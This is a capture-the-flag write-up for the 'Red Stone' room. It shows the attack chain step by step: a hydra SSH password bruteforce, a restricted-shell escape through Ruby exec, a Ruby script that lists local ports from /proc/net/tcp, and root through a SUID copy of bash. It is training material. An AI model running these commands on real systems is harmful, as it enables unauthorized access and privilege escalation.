First room of the Red Stone series. Hack ruby using ruby.
Bruteforcing
We’re immediately asked to practice a very simple bruteforce on the SSH service running on the box, we also have the hint that the password starts with the word “bu”, let’s go for it:
grep "bu" ../../rockyou.txt > dict.txt
hydra -l noraj -P dict.txt ssh://redstone.thm
After a short while, we get our login:
We ssh into the machine and are met with a restrict shell we need to escape:
User own
If we check for aliases using the “alias” command, we see which
is replaced by whence
. We can use this to enumerate what we can do. We find we’re more or less limited to “echo” and “cd”. We can list directories using:
echo ./*
echo ./.*
We see a few files:
./.cache ./.hint.txt ./.zcompdump.red-stone-one-carat.2446 ./.zshrc ./bin ./user.txt
We can read files using echo fortunately, let’s grab our user flag first and then our hint:
echo "$(<user.txt)"
Restricted shell escape
We have a hint towards using ruby to get our root:
Do in Ruby what you can't do in another way.
We can also check the hint file:
Maybe take a look at local services.
Let’s check the bin file in our current directory:
Let’s see what it does:
Perfect, we can use the file to escape our restricted shell:
test.rb Kernel exec '/bin/zsh'
Finally, we set our path variable to allow us to use some binaries:
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Root own
Unfortunately, we’re still limited to what we can do. Most binaries aren’t even available to us. We can however use ruby. We need to check services running locally, we would usually do this using commands such as ps or netstat however none of these are available to us. Instead, we can use one made in ruby
require 'etc'
TCP_STATES = { # /usr/src/linux/include/net/tcp_states.h
'00': 'UNKNOWN',
'FF': 'UNKNOWN',
'01': 'ESTABLISHED',
'02': 'SYN_SENT',
'03': 'SYN_RECV',
'04': 'FIN_WAIT1',
'05': 'FIN_WAIT2',
'06': 'TIME_WAIT',
'07': 'CLOSE',
'08': 'CLOSE_WAIT',
'09': 'LAST_ACK',
'0A': 'LISTEN',
'0B': 'CLOSING',
'0C': 'NEW_SYN_RECV'
}
def decode_addr(addr)
ip, port = addr.split(':')
ip = ip.scan(/.{2}/).map{|x|x.hex.to_s}.reverse.join('.')
port = port.hex.to_s
"#{ip}:#{port}"
end
puts 'local address'.ljust(22) + 'remote address'.ljust(22) + 'state'.ljust(12) + 'username (uid)'
File.readlines('/proc/net/tcp').each_with_index do |line, i|
entry = line.split(' ')
unless i == 0 # skip headers
laddr = decode_addr(entry[1])
raddr = decode_addr(entry[2])
state = TCP_STATES[entry[3].to_sym]
uid = entry[7]
uname = Etc.getpwuid(uid.to_i).name
puts "#{laddr.ljust(22)}#{raddr.ljust(22)}#{state.ljust(12)}#{uname} (#{uid})"
end
end
We can base64 encode it and copy it over to the machine:
printf %s 'cmVxdWlyZSAnZXRjJwoKVENQX1NUQVRFUyA9IHsgIyAvdXNyL3NyYy9saW51eC9pbmNsdWRlL25ldC90Y3Bfc3RhdGVzLmgKICAnMDAnOiAnVU5LTk9XTicsCiAgJ0ZGJzogJ1VOS05PV04nLAogICcwMSc6ICdFU1RBQkxJU0hFRCcsCiAgJzAyJzogJ1NZTl9TRU5UJywKICAnMDMnOiAnU1lOX1JFQ1YnLAogICcwNCc6ICdGSU5fV0FJVDEnLAogICcwNSc6ICdGSU5fV0FJVDInLAogICcwNic6ICdUSU1FX1dBSVQnLAogICcwNyc6ICdDTE9TRScsCiAgJzA4JzogJ0NMT1NFX1dBSVQnLAogICcwOSc6ICdMQVNUX0FDSycsCiAgJzBBJzogJ0xJU1RFTicsCiAgJzBCJzogJ0NMT1NJTkcnLAogICcwQyc6ICdORVdfU1lOX1JFQ1YnCn0KCmRlZiBkZWNvZGVfYWRkcihhZGRyKQogIGlwLCBwb3J0ID0gYWRkci5zcGxpdCgnOicpCiAgaXAgPSBpcC5zY2FuKC8uezJ9LykubWFwe3x4fHguaGV4LnRvX3N9LnJldmVyc2Uuam9pbignLicpCiAgcG9ydCA9IHBvcnQuaGV4LnRvX3MKICAiI3tpcH06I3twb3J0fSIKZW5kCgpwdXRzICdsb2NhbCBhZGRyZXNzJy5sanVzdCgyMikgKyAncmVtb3RlIGFkZHJlc3MnLmxqdXN0KDIyKSArICdzdGF0ZScubGp1c3QoMTIpICsgJ3VzZXJuYW1lICh1aWQpJwpGaWxlLnJlYWRsaW5lcygnL3Byb2MvbmV0L3RjcCcpLmVhY2hfd2l0aF9pbmRleCBkbyB8bGluZSwgaXwKICBlbnRyeSA9IGxpbmUuc3BsaXQoJyAnKQogIHVubGVzcyBpID09IDAgIyBza2lwIGhlYWRlcnMKICAgIGxhZGRyID0gZGVjb2RlX2FkZHIoZW50cnlbMV0pCiAgICByYWRkciA9IGRlY29kZV9hZGRyKGVudHJ5WzJdKQogICAgc3RhdGUgPSBUQ1BfU1RBVEVTW2VudHJ5WzNdLnRvX3N5bV0KICAgIHVpZCA9IGVudHJ5WzddCiAgICB1bmFtZSA9IEV0Yy5nZXRwd3VpZCh1aWQudG9faSkubmFtZQogICAgcHV0cyAiI3tsYWRkci5sanVzdCgyMil9I3tyYWRkci5sanVzdCgyMil9I3tzdGF0ZS5sanVzdCgxMil9I3t1bmFtZX0gKCN7dWlkfSkiCiAgZW5kCmVuZA==' | base64 -d > netenum.rb
At the top, we see a port listening for connections:
127.0.0.1:31547 0.0.0.0:0 LISTEN
We can use netcat to connect to this:
We get a new shell, still extremely restricted. We can assume this is a ruby script being used for the server. We can read up different ways to get RCE and find we can use the exec command:
exec %q!cp /bin/bash /tmp/bash; chmod +s /tmp/bash!
We can then run:
/tmp/bash -p
We get a shell as root and completely unrestricted commands: